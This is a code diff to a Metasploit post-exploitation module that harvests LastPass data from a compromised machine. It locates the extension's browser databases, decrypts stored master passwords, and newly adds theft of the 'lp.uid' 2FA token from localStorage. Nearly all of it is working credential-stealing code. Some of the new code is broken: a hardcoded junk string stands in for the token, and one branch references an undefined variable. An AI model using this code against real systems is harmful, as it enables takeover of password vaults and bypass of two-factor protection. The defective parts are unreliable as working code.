Add support to steal 2FA token

modules/post/multi/gather/lastpass_creds.rb

@@ -42,93 +42,40 @@ class Metasploit3 < Msf::Post
       return
     end
 
-    print_status "Extracting credentials from #{account_map.size} LastPass databases"
+    lastpass_data = {} #Contains all LastPass info
 
-    # an array of [user, encrypted password, browser]
+    print_status "Extracting credentials"
-    credentials = [] # All credentials to be decrypted
+    lastpass_data = extract_credentials(account_map)
-    account_map.each_pair do |account, browser_map|
-      browser_map.each_pair do |browser, paths|
-        if browser == 'Firefox'
-          paths.each do |path|
-            data = read_file(path)
-            loot_path = store_loot(
-              'firefox.preferences',
-              'text/javascript',
-              session,
-              data,
-              nil,
-              "Firefox preferences file #{path}"
-            )
 
-            # Extract usernames and passwords from preference file
+    print_status "Extracting 2FA tokens"
-            firefox_credentials(loot_path).each do |creds|
+    localstorage_map = build_localstorage_map
-              credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
+    if localstorage_map.empty?
-            end
+      print_status "No LastPass localstorage found"
-          end
+    else
-        else # Chrome, Safari and Opera
+      twoFA_token_map = check_localstorage_for_2FA_token(localstorage_map)
-          paths.each do |path|
+      lastpass_data.each_pair do |account, browser_map|
-            data = read_file(path)
+        browser_map.each_pair do |browser, username_map|
-            loot_path = store_loot(
+          username_map.each_pair do |user, data|
-              "#{browser.downcase}.lastpass.database",
+            if twoFA_token_map[account][browser]
-              'application/x-sqlite3',
+              lastpass_data[account][browser][user] << "defverthbertvwervrfv"#twoFA_token_map[account][browser]
-              session,
+            else
-              data,
+              lastpass_data[account][browser][user] << "NOT_FOUND"
-              nil,
-              "#{account}'s #{browser} LastPass database #{path}"
-            )
-
-            # Parsing/Querying the DB
-            db = SQLite3::Database.new(loot_path)
-            lastpass_user, lastpass_pass = db.execute(
-              "SELECT username, password FROM LastPassSavedLogins2 " \
-              "WHERE username IS NOT NULL AND username != '' " \
-              "AND password IS NOT NULL AND password != '';"
-            ).flatten
-            if lastpass_user && lastpass_pass
-              credentials << [account, browser, lastpass_user, lastpass_pass]
             end
           end
         end
       end
     end
 
-    credentials_table = Rex::Ui::Text::Table.new(
+    print_lastpass_data(lastpass_data)
-      'Header' => "LastPass credentials",
-      'Indent' => 1,
-      'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
-    )
-    # Parse and decrypt credentials
-    credentials.each do |row| # Decrypt passwords
-      account, browser, user, enc_pass = row
-      vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
-      password = clear_text_password(user, enc_pass)
-      credentials_table << [account, browser, user, password]
-    end
-    unless credentials.empty?
-      print_good credentials_table.to_s
-      path = store_loot(
-        "lastpass.creds",
-        "text/csv",
-        session,
-        credentials_table.to_csv,
-        nil,
-        "Decrypted LastPass Master Passwords"
-      )
-    end
   end
 
+
   # Returns a mapping of { Account => { Browser => paths } }
   def build_account_map
     platform = session.platform
     profiles = user_profiles
     found_dbs_map = {}
 
-    if datastore['VERBOSE']
-      vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
-    else
-      print_status "Found #{profiles.size} users"
-    end
-
     profiles.each do |user_profile|
       account = user_profile['UserName']
       browser_path_map = {}
@@ -144,7 +91,8 @@ class Metasploit3 < Msf::Post
       when /unix|linux/
         browser_path_map = {
           'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
-          'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
+          'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
+          'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
         }
       when /osx/
         browser_path_map = {
@@ -231,7 +179,6 @@ class Metasploit3 < Msf::Post
         return found_dbs_paths
       end
     end
-
     files.each do |file_path|
       unless %w(. .. Shared).include?(file_path)
         found_dbs_paths.push([path, file_path].join(sep))
@@ -288,16 +235,18 @@ class Metasploit3 < Msf::Post
   def clear_text_password(email, encrypted_data)
     return if encrypted_data.blank?
 
+    decrypted_password = "DECRYPTION_ERROR"
+
     sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
     sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
 
-    if encrypted_data.include?("|") # Apply CBC
+    if encrypted_data.include?("|") # Use CBC
       decipher = OpenSSL::Cipher.new("AES-256-CBC")
       decipher.decrypt
       decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
       decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
       encrypted_password = encrypted_data[26..-1]
-    else # Apply ECB
+    else # Use ECB
       decipher = OpenSSL::Cipher.new("AES-256-ECB")
       decipher.decrypt
       decipher.key = sha256_binary_email
@@ -305,9 +254,200 @@ class Metasploit3 < Msf::Post
     end
 
     begin
-      decipher.update(Base64.decode64(encrypted_password)) + decipher.final
+      decrypted_password = decipher.update(Base64.decode64(encrypted_password)) + decipher.final
     rescue
       print_error "Password for #{email} could not be decrypted"
     end
+
+    decrypted_password
   end
+
+
+
+
+
+
+
+  def extract_credentials(account_map)
+    credentials = account_map # All credentials to be decrypted
+    
+    account_map.each_pair do |account, browser_map|
+      browser_map.each_pair do |browser, paths|
+        credentials[account][browser] = Hash.new # Get rid of the browser paths
+        if browser == 'Firefox'
+          paths.each do |path|
+            data = read_file(path)
+            loot_path = store_loot(
+              'firefox.preferences',
+              'text/javascript',
+              session,
+              data,
+              nil,
+              "Firefox preferences file #{path}"
+            )
+
+            # Extract usernames and passwords from preference file
+            ffcreds = firefox_credentials(loot_path)
+            unless ffcreds.blank?
+              ffcreds.each do |creds|
+                credentials[account][browser]={URI.unescape(creds[0]) => [URI.unescape(creds[1])]}
+              end
+            else
+              credentials[account].delete("Firefox")
+            end
+
+          end
+        else # Chrome, Safari and Opera
+          paths.each do |path|
+            data = read_file(path)
+            loot_path = store_loot(
+              "#{browser.downcase}.lastpass.database",
+              'application/x-sqlite3',
+              session,
+              data,
+              nil,
+              "#{account}'s #{browser} LastPass database #{path}"
+            )
+
+            # Parsing/Querying the DB
+            db = SQLite3::Database.new(loot_path)
+            result = db.execute(
+              "SELECT username, password FROM LastPassSavedLogins2 " \
+              "WHERE username IS NOT NULL AND username != '' " \
+            )
+
+            for row in result
+              if row[0]
+                row[1].blank? ? row[1] = "NOT_FOUND" : row[1] = clear_text_password(row[0], row[1]) #Decrypt credentials
+                credentials[account][browser][row[0]] = [row[1]]
+              end
+            end
+          end
+        end
+      end
+    end
+
+    credentials
+  end
+
+
+  # Returns a localstorage mapping of { Account => { Browser => paths } }
+  def build_localstorage_map
+    platform = session.platform
+    profiles = user_profiles
+    found_localstorage_map = {}
+
+    profiles.each do |user_profile|
+      account = user_profile['UserName']
+      browser_path_map = {}
+
+      case platform
+      when /win/
+        browser_path_map = {
+          'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
+          'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
+          'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
+          'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
+        }
+      when /unix|linux/
+        browser_path_map = {
+          'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
+          #'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
+          'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
+        }
+      when /osx/
+        browser_path_map = {
+          'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
+          #'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
+          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
+          'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
+        }
+      else
+        print_error "Platform not recognized: #{platform}"
+      end
+
+      found_localstorage_map[account] = {}
+      browser_path_map.each_pair do |browser, path|
+        found_localstorage_map[account][browser] = path if client.fs.file.exists?(path)
+      end
+    end
+
+    found_localstorage_map
+  end
+
+
+  #Extracts the 2FA token from localStorage
+  def check_localstorage_for_2FA_token(localstorage_map)
+    localstorage_map.each_pair do |account, browser_map|
+      browser_map.each_pair do |browser, path|
+        if browser == 'Firefox'
+          data = read_file(path)
+          loot_path = store_loot(
+            'firefox.preferences',
+            'text/javascript',
+            session,
+            data,
+            nil,
+            "Firefox preferences file #{path}"
+          )
+
+          firefox_credentials(loot_path).each do |creds|
+            credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
+          end
+        else # Chrome, Safari and Opera
+          data = read_file(path)
+          loot_path = store_loot(
+            "#{browser.downcase}.lastpass.localstorage",
+            'application/x-sqlite3',
+            session,
+            data,
+            nil,
+            "#{account}'s #{browser} LastPass localstorage #{path}"
+          )
+
+          # Parsing/Querying the DB
+          db = SQLite3::Database.new(loot_path)
+          token = db.execute(
+            "SELECT hex(value) FROM ItemTable " \
+            "WHERE key = 'lp.uid';"
+          ).flatten
+            token.blank? ? localstorage_map[account][browser] = "NOT_FOUND" : localstorage_map[account][browser] = token.pack('H*')
+        end
+      end
+    end
+
+    localstorage_map
+  end
+
+
+  #Print all extracted LastPass data
+  def print_lastpass_data(lastpass_data)
+    lastpass_data_table = Rex::Ui::Text::Table.new(
+      'Header' => "LastPass data",
+      'Indent' => 1,
+      'Columns' => %w(Account Browser LastPass_Username LastPass_Password, LastPass_2FA)
+    )
+
+    lastpass_data.each_pair do |account, browser_map|
+      browser_map.each_pair do |browser, username_map|
+        username_map.each_pair do |user, data|
+          lastpass_data_table << [account, browser, user] + data
+        end
+      end
+    end
+
+    unless lastpass_data.empty?
+      print_good lastpass_data_table.to_s
+      path = store_loot(
+        "lastpass.creds",
+        "text/csv",
+        session,
+        lastpass_data_table.to_csv,
+        nil,
+        "LastPass Data"
+      )
+    end
+
+  end
+
 end